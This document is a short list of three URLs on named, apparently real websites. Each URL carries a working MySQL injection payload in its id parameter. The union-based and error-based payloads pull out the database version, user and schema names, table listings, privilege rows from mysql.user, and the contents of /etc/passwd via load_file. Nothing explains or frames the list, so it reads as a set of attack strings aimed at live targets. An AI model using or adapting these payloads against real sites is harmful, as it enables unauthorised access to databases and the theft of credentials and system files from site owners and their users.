www.all-guitar-chords.com/topic.php?id=-4794' union all select concat_ws(0x23,version(),database(),user(),load_file('/etc/passwd')),2,3,4,5,6,7,8,9,10,group_concat(concat_ws(0x3a3a,host,user,file_priv,insert_priv,update_priv) SEPARATOR " ") FROM mysql.user --%20

https://www.txdirectory.com/online/abc/detail.php?id=217 union select concat_ws(0x3a3a,version(),user(),database(),group_concat(table_name separator " ")),2,3,4 from information_schema.tables where table_schema=database() --%20

https://www.hotelnewsresource.com/go.php?id=-1298989163' or (select count(*) from (select 1 union select 2 union select 3)x group by concat(substring(concat_ws(0x23,version(),(select schema_name from information_schema.schemata limit 3,1),(select file_priv from mysql.user where user='root' and host='localhost'),0x23), 1), floor(rand(0)*2))) --%20